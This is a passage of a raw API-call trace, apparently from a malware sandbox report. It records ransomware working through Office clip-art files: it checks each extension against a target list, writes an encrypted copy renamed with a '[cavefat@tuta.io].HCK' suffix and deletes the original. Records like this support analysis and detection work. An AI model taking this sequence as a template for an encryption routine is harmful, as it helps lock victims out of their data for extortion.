[0179.458] lstrlenW (lpString=".bz2") returned 4 [0179.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.458] lstrlenW (lpString=".7z") returned 3 [0179.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.458] lstrlenW (lpString=".dbf") returned 4 [0179.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.458] lstrlenW (lpString=".1cd") returned 4 [0179.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.458] lstrlenW (lpString=".jpg") returned 4 [0179.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.458] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.458] lstrlenW (lpString="PE03513_.WMF") returned 12 [0179.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.460] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3780) returned 1 [0179.460] CloseHandle (hObject=0x370) returned 1 [0179.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf")) returned 0x220 [0179.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.472] GetLastError () returned 0x0 [0179.472] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xec4, lpOverlapped=0x0) returned 1 [0179.474] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xed0, lpOverlapped=0x0) returned 1 [0179.475] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.475] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.475] SetEndOfFile (hFile=0x300) returned 1 [0179.478] CloseHandle (hObject=0x300) returned 1 [0179.479] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.479] SetEndOfFile (hFile=0x39c) returned 1 [0179.480] CloseHandle (hObject=0x39c) returned 1 [0179.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf")) returned 1 [0179.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.481] lstrlenW (lpString=".doc") returned 4 [0179.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.481] lstrlenW (lpString=".docx") returned 5 [0179.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.482] lstrlenW (lpString=".pdf") returned 4 [0179.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString=".xls") returned 4 [0179.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.482] lstrlenW (lpString=".xlsx") returned 5 [0179.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.482] lstrlenW (lpString=".ppt") returned 4 [0179.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.482] lstrlenW (lpString=".zip") returned 4 [0179.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.482] lstrlenW (lpString=".rar") returned 4 [0179.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString=".bz2") returned 4 [0179.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString=".7z") returned 3 [0179.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.482] lstrlenW (lpString=".dbf") returned 4 [0179.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.482] lstrlenW (lpString=".1cd") returned 4 [0179.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.482] lstrlenW (lpString=".jpg") returned 4 [0179.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.482] lstrlenW (lpString=".doc") returned 4 [0179.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString=".docx") returned 5 [0179.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.482] lstrlenW (lpString=".pdf") returned 4 [0179.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.482] lstrlenW (lpString=".xls") returned 4 [0179.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.482] lstrlenW (lpString=".xlsx") returned 5 [0179.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.482] lstrlenW (lpString=".ppt") returned 4 [0179.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.483] lstrlenW (lpString=".zip") returned 4 [0179.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.483] lstrlenW (lpString=".rar") returned 4 [0179.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.483] lstrlenW (lpString=".bz2") returned 4 [0179.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.483] lstrlenW (lpString=".7z") returned 3 [0179.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.483] lstrlenW (lpString=".dbf") returned 4 [0179.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.483] lstrlenW (lpString=".1cd") returned 4 [0179.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 68 [0179.483] lstrlenW (lpString=".jpg") returned 4 [0179.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.483] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.483] lstrlenW (lpString="PE05665_.WMF") returned 12 [0179.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.484] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14328) returned 1 [0179.484] CloseHandle (hObject=0x300) returned 1 [0179.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf")) returned 0x220 [0179.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.493] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.493] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.495] GetLastError () returned 0x0 [0179.495] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x37f8, lpOverlapped=0x0) returned 1 [0179.500] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3800, lpOverlapped=0x0) returned 1 [0179.501] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.501] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.501] SetEndOfFile (hFile=0x300) returned 1 [0179.504] CloseHandle (hObject=0x300) returned 1 [0179.505] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.505] SetEndOfFile (hFile=0x2fc) returned 1 [0179.507] CloseHandle (hObject=0x2fc) returned 1 [0179.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf")) returned 1 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString=".doc") returned 4 [0179.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString=".docx") returned 5 [0179.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.508] lstrlenW (lpString=".pdf") returned 4 [0179.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString=".xls") returned 4 [0179.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.508] lstrlenW (lpString=".xlsx") returned 5 [0179.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.508] lstrlenW (lpString=".ppt") returned 4 [0179.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString=".zip") returned 4 [0179.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.508] lstrlenW (lpString=".rar") returned 4 [0179.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString=".bz2") returned 4 [0179.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString=".7z") returned 3 [0179.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString=".dbf") returned 4 [0179.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString=".1cd") returned 4 [0179.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString=".jpg") returned 4 [0179.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.508] lstrlenW (lpString=".doc") returned 4 [0179.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString=".docx") returned 5 [0179.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.509] lstrlenW (lpString=".pdf") returned 4 [0179.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString=".xls") returned 4 [0179.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.509] lstrlenW (lpString=".xlsx") returned 5 [0179.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.509] lstrlenW (lpString=".ppt") returned 4 [0179.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.509] lstrlenW (lpString=".zip") returned 4 [0179.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.509] lstrlenW (lpString=".rar") returned 4 [0179.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString=".bz2") returned 4 [0179.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString=".7z") returned 3 [0179.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.509] lstrlenW (lpString=".dbf") returned 4 [0179.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.509] lstrlenW (lpString=".1cd") returned 4 [0179.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 68 [0179.509] lstrlenW (lpString=".jpg") returned 4 [0179.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.509] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.509] lstrlenW (lpString="PE05930_.WMF") returned 12 [0179.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.511] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32718) returned 1 [0179.511] CloseHandle (hObject=0x370) returned 1 [0179.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf")) returned 0x220 [0179.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.521] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.521] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.524] GetLastError () returned 0x0 [0179.524] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7fce, lpOverlapped=0x0) returned 1 [0179.527] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7fd0, lpOverlapped=0x0) returned 1 [0179.528] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.528] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.528] SetEndOfFile (hFile=0x2fc) returned 1 [0179.528] CloseHandle (hObject=0x2fc) returned 1 [0179.529] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.529] SetEndOfFile (hFile=0x370) returned 1 [0179.530] CloseHandle (hObject=0x370) returned 1 [0179.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf")) returned 1 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString=".doc") returned 4 [0179.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString=".docx") returned 5 [0179.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.532] lstrlenW (lpString=".pdf") returned 4 [0179.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString=".xls") returned 4 [0179.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.532] lstrlenW (lpString=".xlsx") returned 5 [0179.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.532] lstrlenW (lpString=".ppt") returned 4 [0179.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString=".zip") returned 4 [0179.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.532] lstrlenW (lpString=".rar") returned 4 [0179.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString=".bz2") returned 4 [0179.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString=".7z") returned 3 [0179.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString=".dbf") returned 4 [0179.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString=".1cd") returned 4 [0179.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString=".jpg") returned 4 [0179.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.532] lstrlenW (lpString=".doc") returned 4 [0179.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.532] lstrlenW (lpString=".docx") returned 5 [0179.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.533] lstrlenW (lpString=".pdf") returned 4 [0179.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.533] lstrlenW (lpString=".xls") returned 4 [0179.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.533] lstrlenW (lpString=".xlsx") returned 5 [0179.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.533] lstrlenW (lpString=".ppt") returned 4 [0179.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.533] lstrlenW (lpString=".zip") returned 4 [0179.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.533] lstrlenW (lpString=".rar") returned 4 [0179.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.533] lstrlenW (lpString=".bz2") returned 4 [0179.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.533] lstrlenW (lpString=".7z") returned 3 [0179.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 68 [0179.533] lstrlenW (lpString=".dbf") returned 4 [0179.533] lstrcmpiW (lpString1=".dbf", 